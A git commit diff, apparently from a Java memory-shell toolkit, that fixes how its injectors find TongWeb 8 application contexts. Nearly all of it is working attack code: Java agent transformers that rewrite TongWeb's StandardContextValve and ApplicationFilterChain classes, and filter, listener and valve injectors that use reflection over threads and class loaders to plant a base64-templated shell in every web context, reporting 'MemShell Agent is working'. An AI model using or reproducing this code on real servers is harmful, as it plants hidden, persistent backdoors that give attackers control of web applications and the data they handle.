fix: TongWeb8 context fetch error

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent 14dbbd9f9e
commit 53849f17fe
7 changed files with 61 additions and 40 deletions
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
pgrep -f tongweb-bootstrap.jar | tr -d '\n'
@@ -28,6 +28,7 @@ public class ContainerTool {
public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux")); public static final MountableFile jattachFile = MountableFile.forHostPath(Path.of("..", "asserts", "agent", "jattach-linux"));
public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh")); public static final MountableFile tomcatPid = MountableFile.forHostPath(Path.of("script", "tomcat_pid.sh"));
public static final MountableFile tongweb8Pid = MountableFile.forHostPath(Path.of("script", "tongweb8_pid.sh"));
public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh")); public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh"));
public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh"));
public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh"));
@@ -14,8 +14,11 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class TongWebContextValveAgentInjector implements ClassFileTransformer { public class TongWebContextValveAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve"; private static final String[] TARGET_CLASSES = new String[]{
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve"; "com/tongweb/web/thor/core/StandardContextValve",
"com/tongweb/catalina/core/StandardContextValve",
"com/tongweb/server/core/StandardContextValve"
};
private static final String TARGET_METHOD_NAME = "invoke"; private static final String TARGET_METHOD_NAME = "invoke";
public static String getClassName() { public static String getClassName() {
@@ -39,10 +42,11 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
inst.addTransformer(new TongWebContextValveAgentInjector(), true); inst.addTransformer(new TongWebContextValveAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) { for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name) for (String targetClass : TARGET_CLASSES) {
|| TARGET_CLASS_1.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + ".invoke"); System.out.println("MemShell Agent is working at " + name + ".invoke");
}
} }
} }
} }
@@ -51,21 +55,23 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) { for (String targetClass : TARGET_CLASSES) {
defineTargetClass(loader); if (className.equals(targetClass)) {
try { defineTargetClass(loader);
ClassReader cr = new ClassReader(bytes); try {
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassReader cr = new ClassReader(bytes);
@Override ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
protected ClassLoader getClassLoader() { @Override
return loader; protected ClassLoader getClassLoader() {
} return loader;
}; }
ClassVisitor cv = getClassVisitor(cw); };
cr.accept(cv, ClassReader.EXPAND_FRAMES); ClassVisitor cv = getClassVisitor(cw);
return cw.toByteArray(); cr.accept(cv, ClassReader.EXPAND_FRAMES);
} catch (Exception e) { return cw.toByteArray();
e.printStackTrace(); } catch (Exception e) {
e.printStackTrace();
}
} }
} }
return bytes; return bytes;
@@ -14,8 +14,6 @@ import java.util.zip.GZIPInputStream;
* @since 2025/3/26 * @since 2025/3/26
*/ */
public class TongWebFilterChainAgentInjector implements ClassFileTransformer { public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
private static final String[] TARGET_CLASSES = new String[]{ private static final String[] TARGET_CLASSES = new String[]{
"com/tongweb/web/thor/core/ApplicationFilterChain", "com/tongweb/web/thor/core/ApplicationFilterChain",
"com/tongweb/catalina/core/ApplicationFilterChain", "com/tongweb/catalina/core/ApplicationFilterChain",
@@ -34,8 +34,9 @@ public class TongWebFilterInjector {
public TongWebFilterInjector() { public TongWebFilterInjector() {
try { try {
List<Object> contexts = getContext(); Set<Object> contexts = getContext();
for (Object context : contexts) { for (Object context : contexts) {
logger.info(context.getClass().getName());
Object filter = getShell(context); Object filter = getShell(context);
inject(context, filter); inject(context, filter);
} }
@@ -49,20 +50,27 @@ public class TongWebFilterInjector {
* /opt/tweb6/lib/twnt.jar * /opt/tweb6/lib/twnt.jar
* com.tongweb.catalina.core.ApplicationContext * com.tongweb.catalina.core.ApplicationContext
* /opt/tweb7/lib/tongweb.jar * /opt/tweb7/lib/tongweb.jar
* com.tongweb.server.core.ApplicationContext * com.tongweb.server.core.StandardContext
* /opt/tweb8/lib/tongweb-web.jar * /opt/tweb8/version8.0.6.2/tongweb-web.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { try {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); if (thread.getName().contains("ContainerBackgroundProcessor")) {
Collection<?> values = childrenMap.values(); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : values) { Collection<?> values = childrenMap.values();
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); for (Object value : values) {
contexts.addAll(children.values()); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
} }
}catch (Exception ignored) {
} }
} }
return contexts; return contexts;
@@ -19,7 +19,7 @@ public class TongWebListenerInjector {
public TongWebListenerInjector() { public TongWebListenerInjector() {
try { try {
List<Object> contexts = getContext(); Set<Object> contexts = getContext();
for (Object context : contexts) { for (Object context : contexts) {
Object listener = getShell(context); Object listener = getShell(context);
inject(context, listener); inject(context, listener);
@@ -37,8 +37,8 @@ public class TongWebListenerInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public class TongWebListenerInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
} }
} }
return contexts; return contexts;
@@ -19,7 +19,7 @@ public class TongWebValveInjector {
public TongWebValveInjector() { public TongWebValveInjector() {
try { try {
List<Object> contexts = getContext(); Set<Object> contexts = getContext();
for (Object context : contexts) { for (Object context : contexts) {
Object valve = getShell(context); Object valve = getShell(context);
inject(context, valve); inject(context, valve);
@@ -37,8 +37,8 @@ public class TongWebValveInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -48,6 +48,9 @@ public class TongWebValveInjector {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (thread.getContextClassLoader() != null
&& thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
} }
} }
return contexts; return contexts;